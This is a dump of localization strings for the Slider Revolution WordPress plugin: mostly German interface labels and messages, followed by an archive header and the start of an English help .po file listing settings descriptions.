Vimeo ID einYouTube Kanal ID eingebenGib die YouTube-ID einGeben Sie einen Modulnamen einGeben Sie die App-ID einGeben Sie das App-Geheimnis einGeben Sie Ihren Api-Schlüssel einGeben Sie Ihre E-Mail-Adresse einFehler beim Herunterladen von LayernFehler beim Herunterladen der LayerdatenFehler beim Herunterladen des ObjektsVeranstaltungen GrundlagenEreignis-EnddatumEreignis-IDVeranstaltungsortEreignis-StartdatumEnddatum des EreignissesEndzeit des EreignissesVeranstaltungsort-AdresseVeranstaltungsort LandName des VeranstaltungsortsPostleitzahl des VeranstaltungsortsVeranstaltungsort RegionVeranstaltungsort SlugVeranstaltungsortstatusVeranstaltungsort StadtStartdatum der VeranstaltungStartzeit des EreignissesEventsBeispiel 2, Homepage, 5Dateigrößenlimit überschritten.AuszugAuszug ipsum dolor sitzen amet, consetetur sadipscing elitr sed diam nonumy.Vollbild beendenExportSlider exportierenExternes BildExterner ScrollFAQsORDNERSCHRIFTARTFREI POSITIONIERTE LAYERFaceBook-EinstellungenFacebookFacebook ExtrasFaktor auf HGsFaktor auf LayerFactory SkinsVerblassenFade-EinstellungenFehler beim Verschieben des Sliders in den OrdnerTags konnten nicht aktualisiert werdenFehler beim Aktualisieren des TitelsFallback EinstellungenFavorit geändertAnzahl FavoritenFavoritenFeatured ImagesNur EmpfohleneHervorgehobene ProdukteFetch VonDatei erfolgreich importiertDateinameFilterFiltereffekt scrollbasiertFilter Effect Scroll ist jetzt allgemein aktiviertFilter HoverFilterMeinen Code findenInformationen zum YouTube-API-Schlüssel finden Sie hier Fertig mit dem SlidewechselErster SlideFünf StachelnBehebung von Problemen mit RS-TabellenFix während des ScrollensOben fixiertFlickrFlickr ExtrasFlickr EinstellungenFloatOrdnerFehler bei der OrdnererstellungOrdner gelöschtOrdnerlöschung fehlgeschlagenFolgenFollowSchriftartSchrift & IconSchriftfamilieSchrift Hover StyleSchrift IconsGeben Sie für den Seiten- und Artikel -Editor den folgenden Shortcode ein:Für das Theme HTML verwenden Sie:Cover-Modus erzwingenLazy Loading erzwingenÜberlauf Sichtbarkeit erzwingenVorbereiten erzwingenRS DB Erstellung erzwingenVorwärtsVier StachelnFrame-AliasFrame MFrame NDie Rahmengröße kann nicht erweitert werden. Nicht genug Platz.Frame wartet auf AktionVonVon untenVon linksVon rechtsVon Slider-EinstellungenVon StreamVon obenZiehen Sie im Widgets-Bedienfeld das Widget "Revolution Module" in die gewünschte Seitenleiste.VorderseiteVollständige HöheVoller PreisGesamtbreiteVollbildschirmGesamtbreiteVollbild AktionenFunktionFunktion im Demo-Modus nicht verfügbarFunktion nur für Administratoren verfügbarZukünftigGalerieGalerie-URLAbstandLücke (Rand)AllgemeinesAllgemeine EinstellungenHolen Sie sich einen Purchase CodeErhalten Sie Zugriff auf die neuesten Nachrichten von ThemePunch. Wir versprechen, Ihnen niemals Spam zu schicken!Erhalten Sie die Menge der vorhandenen Slides im Slider.Ruft den aktuellen fokussierten Slide-Index ab.Holen Sie sich den zuvor gespielten Slide.GlobalGlobale Layer EinstellungenGlobale LayersGlobale Layer-ZeitleisteGlobale EinstellungenGlobale Einstellungen nicht gespeichert/aktualisiertGlobale Einstellungen gespeichert/aktualisiertGlobale Style VoreinstellungenGlobaler Wert! Option unter Slider Settings - Parallax TabGlobalsGehe zu SlideGehe zu Slide mit IDGehe zum 1. Frame Gehe zum EditorGehe zu Frame "N "Gehe zum letzten FrameGehe zu FrameGuten Nachmittag Guten Abend Guten Morgen Google FontsGraustufenGrid = ModulGruppeGruppen-URLGruppenfotosHML5-VideoHTMLHTML-DatenHTML-TagHTML5 AutoplayHTML5 VideoHandleHandhabungÜberschriftenHöheHöhe Attrib.VerstecktVersteckt in Navigation"Unter" Breite ausblendenMarkierungsfelder ausblendenVerstecken überVerstecken unterUnter folgender Browserbreite verstecken ...Hierarchie StickyHochHöheres LevelNur HomepageHorizontalHoverHover TransformationHover AnsichtIch habe einen Purchase CodeICONIDID des ElementsBILDREINIconIcon / SVGIdleWenn Sie Slider Revolution auf einer anderen Domain nutzen möchten, erwerben Sie bitte eine andere LizenzWenn Sie die PHP Funktion "add_revslider" in Ihrem Code verwenden möchten, aktivieren Sie diese bitte unbedingt Wenn Sie Ihren Einkaufscode für eine andere Domain verwenden möchten, müssen Sie ihn zuerst abmelden oderLazy Loading ignorierenBildBild-Layer-InhaltBild URLBild vom Stream, falls vorhandenBild vom Stream, falls vorhandenBild wird geladen ...BilderLayer importierenImport BerichtAusgewählte Layer importierenImportdatei nicht gefundenImportiertLayers importieren ...Auf LagerNur auf LagerBibliotheken Global einbindenIndex des aktuellen SlidesUnendliches ScrollenVererbenInitialisierungsverzögerungInline-ModusInline-BlockInnenInnen / AußenSkripte ins Seitenende einfügenInstagramInstagram-EinstellungenInstagram: Inhalte stimmen nicht übereinInstagram: Inhalt ist privatInstagram: Parse-SkriptfehlerInstagramm ExtrasInstallierenAddon installierenVorlage installierenInstallieren Sie das VorlagenpaketInstalliertInstallierte VersionInstallieren des AddonVorlage installierenSofortige UpdatesIntelligente VererbungInteraktionUngültige E-MailUngültige E-Mail / Verbindung zum Newsletter-Server konnte nicht hergestellt werdenUngültige IDUmgekehrter umgeschalteter InhaltHorizontal umkehrenVertikal umkehrenInvertiertJohn DoeZu Slide springenAutomatische Größen beibehaltenHaltepunkthöhen behaltenLetzten Zustand beibehaltenKen BurnsKen Burns / Pan ZoomTastaturTastatur-PfeilnavigationTastatureinstellungenKeyframeKeyframe #KeyframesSlider tötenLAYERSGroßGroße BedienelementeGroßes QuadratLetzter FrameZuletzt bearbeitetLetzter SlideLetzte Slide gestartet, Slider ist am EndeLetzter Slide startetLayerLayer Aktion (Enterstage, Enterstage, Leavestage, Leftstage)Layer AktionenLayer AusrichtungLayer BereichGröße des LayerbereichsLayer ContainerLayer EreignisseLayer IDLayer ImportLayer BibliothekEbenen-Loop-AnimationenLayer-Looping-EffekteLayerobjekteLayer OptionenLayer-Zeitleisten-LoopLayer Typ (Bild, Video, HTML)Layer als jQuery-ObjektLayer ist globalLayer OptionenLayer mit AktionLayerImportieren von LayersLayer Überlauf ausgeblendetLayer GeschwindigkeitLayers sichtbarLayer sind wählbarLayer-Standard aktiviertLayoutLazy LoadingOhne Speichern verlassenAktuelle Seite verlassenLinksLinker PfeilLinks untenLinke EckeLinker SpikeLinks obenPfeiltasten links / rechtsWenigerNiveauLizenzvalidierungsproblem ist aufgetreten. Bitte wenden Sie sich an unseren Support.Auszug begrenzenLinieZeilenumbruchDurchgestrichenLink & SeoVerknüpfungsaktionenLinkzielLinktypURL verknüpfenLink zu SlideLink zur WP-HomepageLink zur aktuellen SeiteListe der Seiten, die Revslider-Bibliotheken enthalten sollen Liste der Kategorien mit LinksListe der Kategorien ohne LinksListe der Tags mit LinksLadenLoop Vorlage ladenGeladene Google FontsLadenCodeMirror Bibliothek wird geladen...Konfiguration wird geladenInhalt wird geladen ...LadefehlerLadefehler: Vorschaubilder werden geladen ...LadetypAusgewählte sperren / entsperrenAusgewählte sperren / entsperrenLoopLoop Alle Layer ZeitleisteLoop AnzahlLoop-LayerLoop LayerLoop Media - Slide nicht anhaltenLoop Media - Slide pausierenLoop ModusLoop eines SlidesLoop VorlageLorem ipsum dolor sitzt amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.Los AngelesNiedrige AuflösungKleinbuchstabenMODULMPEGBasisstilManueller ImportMarkierte LayerMarkupMarkup MetaMaskeMax. UnschärfestärkeMax BeiträgeMax. SlidesMaximale BreiteMax. Post-Größe (256 MB)Max. Res.Max. SichtbarMedien AktionenMedien InhaltMedienbibliothekMedienposterMedien Volumen (0-100)MediumMedium 640Medium 800Speicherlimit (256 MB)MetaMeta KofigurationMetadatenMetadatenMeta-WerteMethodenMitteMitte zum RandMin. HöheMin. FingerMobile GeräteMobile EinstellungenMobile Swipe aktiviertModul .zipModuladministrator MiniaturansichtModul HintergrundModul KlassenHandbuch zur ModulerstellungModul-StandardeinstellungenModulabmessungModul AbmessungenModul fixiert vonModul fixiert bisModul Allgemeine OptionenModul IDModul BenennungModulposition innerhalb des WrappersModul VorlagenModul TypModuleMonospace SchriftenMehrMausMaus ÜberMaus EingabepunktMausinteraktionMaus verlassenMaus BewegungMaus Bewegung & ScrollMaus-Scroll-NavigationMaus-Scroll-EinstellungenMausgeschwindigkeitBewegenMehrfachauswahlMusikhalleMedien Ton ausStumm beim StartNav EditorNav. Bild AbmessungenNavigation MiniaturansichtNavigationseditorNavigationsoptionenNavigations StilNavigation konnte nicht gelöscht werdenNavigation nicht gefunden, Voreinstellung konnte nicht hinzugefügt werdenNavigation nicht gefunden, Voreinstellung konnte nicht gelöscht werdenNavigationsvoreinstellung gelöschtNavigationsvoreinstellung gespeichert/aktualisiertBraucht Aufmerksamkeit durch EntfernenNeues leeres ModulNeuer OrdnerNeues Modul aus VorlageNeue Version verfügbar. Bitte aktualisierenNeues FensterNeuigkeitenNächster / VorherigerNächster FrameNächster MonatNächster SlideNächster Slide beim EndeNächster SchrittNächste bei Browser FokusKein API KEY - Flickr-Fotosets konnten nicht abgerufen werdenKeine Aktion ausgewähltKeine EckeKeine Daten empfangenKeine E-Mail angegebenNo FollowKeine InteraktionKeine Layer ausgewähltKein Lazy LoadingKein LoopKein Poster auf MobileKein SchattenKeine Slider gefunden, Bitte erstellen Sie zuerst einen SliderKein SpezialeffektKeine SpikesKeine Sticky KeyframesKein StilKeine Benutzer-URL - flickr-Fotosets konnten nicht abgerufen werdenKeine Daten empfangenKeine Datei gesendet.Keine weiteren Quelleneinstellungen erforderlich. Der Inhalt wird manuell erstellt.Für Ihre aktuelle Auswahl sind keine Optionen verfügbar.Keine Antwort auf AktionKeine Slides gefunden. Fügen Sie der ausgewählten Sprache mindestens ein Slide Template hinzu.Keine Slides gefunden, bitte fügen Sie einige Slides hinzuNichtsKeine der Einstellungen wurde geändert. Es gibt nichts zu speichernNormalNicht aktiviertNicht genügend Platz zwischen den Frames.Nicht installiertNotebookKeine Auswahl getroffenAnzahl der KommentareAnzahl der VerkäufeAnzahl der KommentareAnzahl der LikesAnzahl der BewertungenAnzahl der BewertungenAnzahl der AufrufeAnzahl KommentareOBJEKTOGVAUSObjekt BibliothekObjekt konnte nicht geladen werdenObjekteAusVersatz (Tilt) EffektOffset zur Scroll PositionEinEin - Überspringen 1. mal SlideAuf Hintergrund aktiviertAuf IE8Auf MobilAuf Mobile und IE8Beim ScrollenScroll DetailsOn Scroll kann per Slider in den Allgemeinen Optionen hinzugefügt werdenAuf der BühneWird nur das 1. Mal angezeigtNur manuell & lt; br / & gt;Nur Poster auf mobilen GerätenUuppps ....Dokument öffnenModal öffnenSlide öffnenÖffne Slider ModalÖffnetDie Option ist aufgekündigt und wird in zukünftigen Updates entfernt!Optionale URL zum Laden von SchriftartenOptionale OGV-QuelleOptionale WEBM-QuelleOrange CountryOrientierungUrsprungOriginalOriginal GrößeAnderer 1. SlideAndere OrdnerÄußere HorizontaleÄußere VertikaleOutput FilterÜber Layer (Vorderseite)ÜberlaufOverlayÜberstrichenStil auf Slide überschreibenVorlage überschreiben?Eigene ModulePAKETPaketSeiten URLSeite wird neu geladen ...Seiten (Beispiel: 2,10):PanZoom EinstellungenParallaxParallax & 3DParallax & 3D EinstellungenParallax aktiviertParallax EbeneParallax Orig.Parallax ist jetzt allgemein aktiviertParameter 1Parameter 10Parameter 2Parameter 3Parameter 4Parameter 5Parameter 6Parameter 7Parameter 8Parameter 9ParameterParameterÜbergeordnete EbeneVergangeneEinfügenPauseSlider anhaltenPro SeiteBerechtigungFotosatzWähle ein ItemPlatzieren Sie den Shortcode auf der Seite oder im Beitrag, auf der Sie dieses Modal anzeigen möchten.Platzieren Sie den Shortcode auf der Seite oder im Beitrag, auf der Sie dieses Modul anzeigen möchten.PlatzhalterSlide abspielenPlaylistBitte registrieren Sie Ihre Application bei Twitter um die richtigen Werte zu erhaltenBitte registrieren Sie Ihre Website-App bei Facebook, um die richtigen Werte zu erhaltenBitte warte einen MomentBitte warte einen MomentBitte warten ...Bitte aktivieren Sie Slider RevolutionBitte füge mindestens einen Layer hinzu.Bitte folgen Sie diesem Link, um den Slider zu bearbeiten:Bitte wählen Sie ein Addon zum Start aus.Bitte wählen Sie die richtige Zip-Datei aus, Prüfsumme fehlgeschlagen!Plugin UpdatesPlugin abgemeldetPlugin ist nicht registriertPlugin nicht aktiviertPlugin erfolgreich aktiviertZeigerereignisBeliebtBeliebte BeiträgePositionPosition & GrößeBeitragBeitragsaliasBeitrag BasisBeitrag Kategorien, Tags und KommentareBeitragsinhaltBeitrag DetailsBeitragsauszugBeitrags-IDBeitragsauswahlBeitragstitelBeitragstypen:BeitragsinhaltBeitrag Inhalt Limit nach ZeichenBeitrag Inhalt Limit nach WörternPost-BasedPoster-BildPoster von Stream, falls vorhandenPoster in PauseBeiträgeVorladenVorbereitet für SlidewechselDaten werden vorbereitet ...VoreinstellungVoreinstellung konnte nicht gespeichert werden / Werte sind gleichDas vor eingestellte Handle existiert bereits. Bitte wählen Sie einen anderen NamenVoreinstellung nicht gefundenVoreinstellung nicht in Standardnavigationen gefundenVoreinstellungenVorherige GrößeVorheriger Slide als jQuery-ObjektVorschauVorschaubildVorheriger FrameVorheriger SlideVorheriger Slide als jQuery-ObjektVorheriger SchrittVerarbeitet Import vonProduktProduktkategorienProduktvariationFortschrittFortschrittsanzeigePub. RegelnVeröffentlichenVeröffentlichtPurchase Code bereits registriert!Purchase Code konnte nicht überprüft werdenDer Purchase Code ist ungültigDer Purchase Code wurde gesperrt, bitte wenden Sie sich an den ThemePunch-Support!JS in den Body setzenQuick StyleQuick Style InhaltQuick Style ÜberschriftAnleitung beendenRTL-RichtungZufälligZufällige ReihenfolgeErneut Online herunterladenReTweetsLesen Sie hier , wie Sie Ihren Flickr-API-Schlüssel erhaltenBerechnen Sie alle Positionen, Größen usw. im Silber neu. Dies sollte zB aufgerufen werden, wenn der Slider unsichtbar war und ohne ein Ereignis zur Größenänderung des Fensters sichtbar wird.KürzlichNeueste BeiträgeRechteckWeiterleitung zur ÜbersichtsseiteSilber neu zeichnenQuelle aktualisierenRegistrieren Sie den Purchase CodeRegistrieren Sie Slider Revolution
            , um Premium-Funktionen freizuschaltenRegistriere diesen CodesRegistrieren zum entsperrenRegistrieren Sie sich, um alle Funktionen freizuschaltenRegistrieren Sie sich, um AddOns freizuschaltenRegistrieren Sie sich, um die Bibliothek freizuschaltenRegistrieren Sie sich, um die Premium-Funktionen freizuschaltenRegistrieren Sie sich, um den Support freizuschaltenRegistrieren Sie sich, um Vorlagen freizuschaltenRegistrieren Sie sich, um Updates freizuschaltenRegistrieren um alle Premium Funktionen freizuschaltenRegistriertRegulärRegulärer PreisRelVerwandte BeiträgeZum Hochladen loslassenSeite neuladenEntfernenEntfernen Sie einen Slide mit Slideindex aus dem Slider. Der Index beginnt mit 0, wodurch die erste Slide entfernt wird.Poster entfernenSlide entfernenUmbenennenWiederholenAntwortenVoraussetzungenResetReset untergeordnete ZeitleisteReset untergeordnete ZeitleistenReset StilReset vor jeder SchleifeGröße zwischen Geräten ändernSeitenverhältnis beibehaltenResponisvitätResponsives VerhaltenResponsive zwischen GerätenResponsive KinderResponsive OffsetsResponsivityEinschränkung!
            Untergeordnete Ebenen aus Gruppe, Spalte und Zeile werden einfach ohne Animation vom letzten Loop-Frame zum ersten Loop-Frame neu gestartet, unabhängig von der Option "Animieren zum" Start "in Loop aktiviert.Slider fortsetzenRetweet CountUmgekehrt"IN" umkehrenRückwärts ScrollenSlider Revolution 6Revolution Slider Fehler:Zurückspulen bei StartRechtsRechter PfeilRechts untenRechte EckeRechter SpikeRechts obenWurzelWurzelebeneDrehenDrehungZeileZeilenpositionZeile EinstellungenSFXSKUSVGSVG-FarbeSVG Hover StilSVG'sVerkaufspreisGleiches FensterSans-Serif SchriftenSpeichernSpeichern & Neu ladenKonfiguration speichernAktuelle Vorlage speichernGlobale Einstellungen speichernNavigation speichernSpeichern Sie Ihr Projekt und laden Sie die Seite neu oder brechen Sie abGespeichertSlide wird gespeichertSkalierungSzeneScroll basierte FunktionenDie scrollbasierte Zeitleiste ist jetzt allgemein aktiviertScroll EffekteScroll Effekte StandardScroll Effekte EinstellungenScroll OffsetScroll PositionZu ID scrollenScrollbasierte EffekteUnter Slider scrollenScrolle Seite unter den Slider.Zu ID scrollenSucheIcons suchen...Module suchen ...Weitere Informationen zum Finden der Youtube-Kanal-ID hier WählenSlider auswählen/bearbeitenAlbum auswählenPlaylist auswählenWählen Sie einen Layer ausWählbarSensibilitätSerifen-SchriftenAlles sichtbar machenLegen Sie ein Slidehintergrundbild fest, um diese Funktion zu verwendenFestlegen aller TimingsAls Editoransicht festlegenEinstellungenSetup HinweiseSchattenSchattenfarbeSchattentypSchatten anShapeShape Layer InhaltScharfe EckerweiterungenShortcodeShortcode GeneratorShortcode konnte nicht analysiert werden.Shortcode-Analyse erfolgreich. Die Elemente finden Sie in Schritt 3ZeigeAlles anzeigenImmer anzeigenVerzögerung anzeigenMarkierungsfelder anzeigenLetzten bearbeiteten Slide anzeigenGeschwindigkeit anzeigenAlle Module anzeigenAnzeigen wenn Maus über SliderIm Editor anzeigenAuswahl ein- / ausblendenAnmeldenUnseren Newsletter bestellenEinfacher LinkVereinfachen auf iOS4/IE8Klick simulierenSingleEinzelner Layer StickEinzelpreisEinzelpreis ohne WährungEinzelauswahlGrößeGröße & PosGrößenvorgabenDimensionierungVorladen überspringenSlide AktionenSlide AnimationSilber HintergrundanimationSlide BeschreibungSlide Richtung SpiegelungSlide DauerSlide aus VorlageSlide HTML-TagsSlide IDSlide SpracheSlide LängeSlide LinkSlide OptionenSlide gespeichertSlide TitelSlide konnte nicht dupliziert werdenSlide Duplikation fehlgeschlagenSlide hat keine LayersSlide nicht gefundenSlide nicht in den Hauptslides des Sliders gefunden. VielleichtSliderSlider Nach Saide-WechselSlider vor dem Slide-TauschSlider MittelpunktSlider gelöschtSlider-Import fehlgeschlagenSlider-LayoutSlider geladenSlider in Ordner verschobenSlider Überlauf ausgeblendetSlider RevolutionSlider Revolution - Premium Response SliderSlider Revolution AddonsSlider Revolution Plugin Aktualisierungs Fehler:Slider Revolution Plugin erfolgreich aktualisiert aufSlider Revolution Plugin erfolgreich aktualisiert.Slider Revolution VorschauSlider Revolution Shortcode CreatorSlider Revolution VersionSlider Revolution Datenbankstruktur wurde aktualisiertSlider Revolution hat den folgenden Fehler festgestellt: Slider Revolution:Slider EinstellungenSlider gestopptSlider Timer weitermachenSlider Timer angehaltenSlider als ModalSlider konnte nicht geladen werdenSlider spielt nach PauseSlider nicht gefundenSlider pausiertDer Slider erreichte den "Stoppen bei" SlideSlider hat Slide gewechseltSlidesSlides (<25)Slides (<500)Slides (<60)Slides-Standard aktiviertSlides:SlideshowSlot AnzahlSlugKleinKlein 320SmartSocialSoziale Grundlagen (Flickr, Instagram, Twitter, Facebook, YouTube)SolideFür einige AddOns sind neue Versionen verfügbarEinige Layer sind gesperrt und / oder unsichtbar .
            Ändern Sie den Status in der Zeitleiste.Einige Einstellungen in der Slider Quelle sind möglicherweise nicht komplett .
            Bitte vervollständigen Sie alle Einstellungen in den Slider Quellen.Dieser Social Stream kann leider nicht angezeigt werden.SortierrichtungBeiträge sortieren nach:Sort Prod. nachNach Erstellung sortierenNach Titel sortierenSortierung & EinschränkungenSortierung & EinstellungenQuelleQuellgrößeQuelle TypDie Quelle muss von Stream stammenQuelle:AbständeSpanBestimmter BeitragBestimmte BeiträgeGeschwindigkeitSpike-MaskenSpike BreiteSpinnerSpinner FarbeSpinner-EinstellungenZeichen teilenLinien teilenWörter teilenQuadratStandardStandardmodul-EinbettungStandard AuflösungBewertung in SternenStartFrüher startenFrame startenAnleitung startenMedien startenSlider startenStatischStatischer LayerBleib in EditorBestandsmengeMedien stoppenStop anderer MedienStop Slider FortschrittStop nach N LoopsStop bei HoverStreckenSlides dehnenStrichfarbeStilStil GlobalStil auf SilberErfolgreich! Bitte überprüfen Sie Ihre E-Mails, um das Abonnement abzuschließenFacebook-Alben erfolgreich abgerufenYouTube-Wiedergabelisten wurden erfolgreich abgerufenFlickr-Fotosets wurden erfolgreich abgerufenHilfeSwipe DirSwipe EinstellungenSchalte im Slider zum nächsten Slide.Schalte im Slider zum vorherigen Slide.Wechseln Sie zu dem Slide, der als Parameter definiert ist.SystemanforderungenTabIndexTabletTabsTab StilTab TypTabs SichtbarkeitTag1, Tag2, Tag3TagsTags & LinkTags aktualisiertZielZiel-LayerVorlagen- & ObjektbibliothekImport des Template Sliders fehlgeschlagenTemplate Slider Installation fehlgeschlagenTextTextausrichtungTextfarbeText BewertungText SchattenText-TweetsInhalt der Text/ButtonebeneDie aktuelle Größe ist auf "Automatische Größe" eingestellt. Möchten Sie mit der benutzerdefinierten Größe fortfahren?Die aktuelle Größe ist so eingestellt, dass die Layer Rastergröße automatisch berechnet wird.
            Möchten Sie mit benutzerdefinierten Größen fortfahren oder die automatisch generierten Größen beibehalten?Der Purchase Code muss eingesetzt werden!Das WPML-Plugin ist nicht aktiviertDie vorgenommenen Änderungen erfordern ein erneutes Laden der Seite!Die vorgenommenen Änderungen gehen verloren!Die folgenden AddOns erfordern ein Update:Der Link zum BeitragDie Inhaltsquelle "Vimeo-Stream" wird verwendet, um einen vollständigen Stream von Videos von einem Benutzer / Album / einer Gruppe / einem Kanal anzuzeigen.
            Wenn Sie ein einzelnes Vimeo-Video anzeigen möchten, wählen Sie die Inhaltsquelle "Standard-Slider” aus und fügen Sie sie hinzu einen Videolayer im Slide-Editor.Die Inhaltsquelle "YouTube-Stream" wird verwendet, um einen vollständigen Stream von Videos aus einem Kanal / einer Wiedergabeliste anzuzeigen.
            Wenn Sie ein einzelnes YouTube-Video anzeigen möchten, wählen Sie die Inhaltsquelle "Standard Silber” aus und fügen Sie einen Videolayer hinzu im Slide-Editor.ThemePunchThemePunch ServerDieses Handbuch hilft Ihnen bei der Grundkonfiguration *
            Slider Revolution 6 Modul.Diesen MonatDieser Quelltyp muss von Beiträgen stammen.Diese Aktion kann nicht rückgängig gemacht werden !!Dies kann nur innerhalb der aktuellen Sitzung rückgängig gemacht werden.Drei StachelnMiniaturansicht TypVorschaubildMiniaturansichtenMiniaturansicht StilMiniaturansicht SichtbarkeitTimelineZeitleisteZeitleiste Scroll basiertZeitleiste Scroll-basiertTimer angehaltenTimer fortgesetztTitelTitel absteigendTitel aktualisiertZuZum AdminZum Redakteur, AdminZu SlideUm es als Modal auf Seiten und Artikeln zu verwenden, geben Sie den Shortcode ein:Um den Slider nur zu einzelnen Seiten hinzuzufügen, verwenden Sie:Um den Slider nur zur Startseite hinzuzufügen, verwenden Sie:HeuteUmschalten"N/M" Frames umschalten1. / letzten Frame umschaltenKlasse umschaltenAktivieren oder Deaktivieren der Dokument Body Klasse beim Öffnen und Schließen des Modals.Vollbild umschaltenMedien umschaltenUmschalten Alle Medien Ton An/AusUmschalten Ton An/Aus MedienSlider umschaltenStartstatus umschaltenUmgeschaltet (sichtbar)Im Hover Style umgeschaltetMorgenObenTouchTransform IdleÜbergängeTransparentTrigger SpeicherAusgelöst durchAusgelöst durchTwitterTwitter @Twitter ExtrasTwitter EinstellungenZwei StachelnTypTypenTypen & KategorienURLUNSVereinigte Staaten von AmerikaTrennen aller Listener, aktuelle Animationen entfernen und Löschen von Containern. Bereit für die Garbagecollection.Unter der MaskeUnterstreichenAlle entsperrenMedien Ton anUnveröffentlichtNicht registriertNicht auswählbarUnsortiertUntoggled (Versteckt)Pfeiltasten auf / abAlle aktualisierenVerlauf aktualisierenSpäter aktualisierenListe aktualisierenJetzt aktualisierenAktualisiere PluginZeile aktualisierenAktualisierungenUpdates, neue Produkte, SpotlightsAktualisiereAktualisieren von ListenAktualisierung des Plugins fehlgeschlagenPlugin wird aktualisiert ...Das Aktualisieren des Plugins kann einige Momente dauern.Max. Upload Dateigröße (256MB)Upload-Ordner beschreibbarGroßbuchstabenClip-Pfad verwendenCover verwendenBenutzerdefinierte Größen verwendenStandard verwenden auf ...Verwenden Sie Vollbild oder Vollbreitenlayout, um den festen Bildlauf zu verwenden.Verwende das BildVerwenden Sie Zeilenumbrüche nur in SpaltenMaskierung verwendenSlide Loop verwendenVerwenden von UmschaltenWPML Einstellungen verwendenNutzerNutzername:Benutzer FotosatzÖffentliche BenutzerfotosBenutzer-URL:NutzernameDie Verwendung dieser Daten ist nur mit einer gültigen Lizenz für das jQuery Slider Revolution-Plugin zulässig, das Sie unter CodeCanyon finden: http://codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunchVIDEOGeschwindigkeitVertikalVertikal ausrichtenVideoVideo-APIVideo IDVideo-EinstellungenVideo Cover konnte nicht geladen werdenVideo aus Stream, falls vorhandenVideo vom Stream, falls vorhandenVideo im aktiven SlideVideo wird abgespieltVideo spielt im SliderVideo ist angehaltenVideo in Slider gestopptVideosZeige alle Beiträge in %sViewPort StopViewsVimeoVimeo ExtrasVimeo IDVimeo-EinstellungenVimeo MiniaturansichtVimeo VideoSichtbarkeitSichtbarSichtbare AnzahlSichtbar in NavigationSeite besuchenWARTENWC-Kategorie1, WC-Kategorie2WC-Tag 1, WC-Tag 2, WC-Tag 3WEBMWPMLWartenWarten auf APIWarten auf AktionWarnungWillkommen bei Slider Revolution 6Was soll als nächstes passieren?Was gibt's Neues?Wohin möchten Sie die geerbten Layer verschieben?Breite Attrib.BreitenbasiertWooCommerceWooCommerce GrundlagenWooCommerce PreiseWooCommerce-BewertungenWooCommerce BestandWortWordPress BibliothekWordPress Multi LanguageWrapperWrapper KlassenWrapper ContainerWrapper-IDWrapper Max HöheWrapping-TagFalsche AnfrageFalsches KategorieformatFalsches Export-Slider-Dateiformat! Stellen Sie sicher, dass die hochgeladene Datei entweder eine Zip-Datei mit einer korrekten Datei slider_export.txt im Stammverzeichnis oder eine gültige Datei slider_export.txt ist.Falsche Anfrage!X% Y%Ja, alle Slider löschenJa, Slide löschenJa, Slider löschenJa, Slider exportierenSie nutzen gerade Slider Revolution YouTubeYouTube ExtrasYouTube-IDYouTube-PosterYouTube-EinstellungenYouTube MiniaturansichtYouTube-VideoYouTubeYoyoZ-PositionHineinzoomenRauszoomen_blank_parent_self_topund/oder füge die aktuelle Seite zu als HTML-DokumentAutomit dem Containernach PX oder %Mitte UntenMitte MitteMitte ObenKlassenname zum Umschaltendurch Koma getrennte Liste | Beispiel: 23,24,25konnte nicht den richtigen Slide zum Kopieren finden. Bitte versuchen Sie es erneut.Geben Sie einen Modulnamen einvonhttp://yoursite.com/addtocart.phphttp://yoursite.com/homehttp://yoursite.com/pagehttp://yoursite.com/posthttp: //yoursite/media/avatar.jpghttp: // yoursite / user / pagehttp: // yoursite / user / posthttps://revolution.themepunch.com/https://themepunch.com/dh 0:15z. B. 1200dh 2:41Bsp. http://fonts.useso.com/css?family für chinesische Nutzungin den "Globalen Einstellungen " von Slider Revolution.jQuery & OutPut-FilterjQuery No Conflict ModejQuery ausgelöstJavaScript FunktionLinks UntenLinks MittigLinks ObenNichtsauf AktionoderRechts UntenRechts MittigRechts Obenslider_export.txt existiert nicht!zux1,5x2xxxx xxxx xxxx xxxxYouTube, Vimeo, html5zIndexlanguages/revsliderhelp-en_US.po000060400000463071151724235750012753 0ustar00msgid "" msgstr "" "Project-Id-Version: Slider Revolution Help\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-06-28 07:45+0000\n" "PO-Revision-Date: 2019-06-28 07:45+0000\n" "Last-Translator: admin \n" "Language-Team: \n" "Language: en_US\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.2.2; wp-5.2.2" #: admin/includes/help.class.php:6007 msgid "" "'Default' will use the Slider's Lazy Load setting, 'Force' will LazyLoad the " "image regardless of the Slider's settings, and 'Ignore' will set LazyLoad to " "off regardless of the Slider's settings." msgstr "" #: admin/includes/help.class.php:1803 msgid "" "'wait' to initialize the Slider when its inside the viewport, or 'pause' the " "Slider's progress until its inside the viewport" msgstr "" #: admin/includes/help.class.php:7319 msgid "" "'Wrapper Container' is the Layer's outer-most HTML wrapper div, and 'Layer " "Container' is the content's main div" msgstr "" #: admin/includes/help.class.php:7867 admin/includes/help.class.php:8410 #: admin/includes/help.class.php:9864 msgid "2D Rotation" msgstr "" #: admin/includes/help.class.php:2544 msgid "3D Crop Fix" msgstr "" #: admin/includes/help.class.php:2480 msgid "3D Shadow" msgstr "" #: admin/includes/help.class.php:178 msgid "60+ pre-built animations, animation duration, easing" msgstr "" #: admin/includes/help.class.php:3213 msgid "A delay in milliseconds before the Arrows animate into view" msgstr "" #: admin/includes/help.class.php:3528 msgid "A delay in milliseconds before the Bullets animate into view" msgstr "" #: admin/includes/help.class.php:4009 msgid "A delay in milliseconds before the Tabs animate into view" msgstr "" #: admin/includes/help.class.php:4490 msgid "A delay in milliseconds before the Thumbs animate into view" msgstr "" #: admin/includes/help.class.php:275 msgid "A single-slide Slider with no navigation" msgstr "" #: admin/includes/help.class.php:5838 msgid "A Slide description for certain navigation types" msgstr "" #: admin/includes/help.class.php:267 msgid "A Slider that can have multiple slides with navigation" msgstr "" #: admin/includes/help.class.php:2992 msgid "" "A special shortcode for the Module when loading it as a Modal in the page " "with custom JavaScript" msgstr "" #: admin/includes/help.class.php:1256 msgid "Access Secret" msgstr "" #: admin/includes/help.class.php:1243 msgid "Access Token" msgstr "" #: admin/includes/help.class.php:10195 msgid "Action Delay" msgstr "" #: admin/includes/help.class.php:10181 msgid "Action Type" msgstr "" #: admin/includes/help.class.php:9654 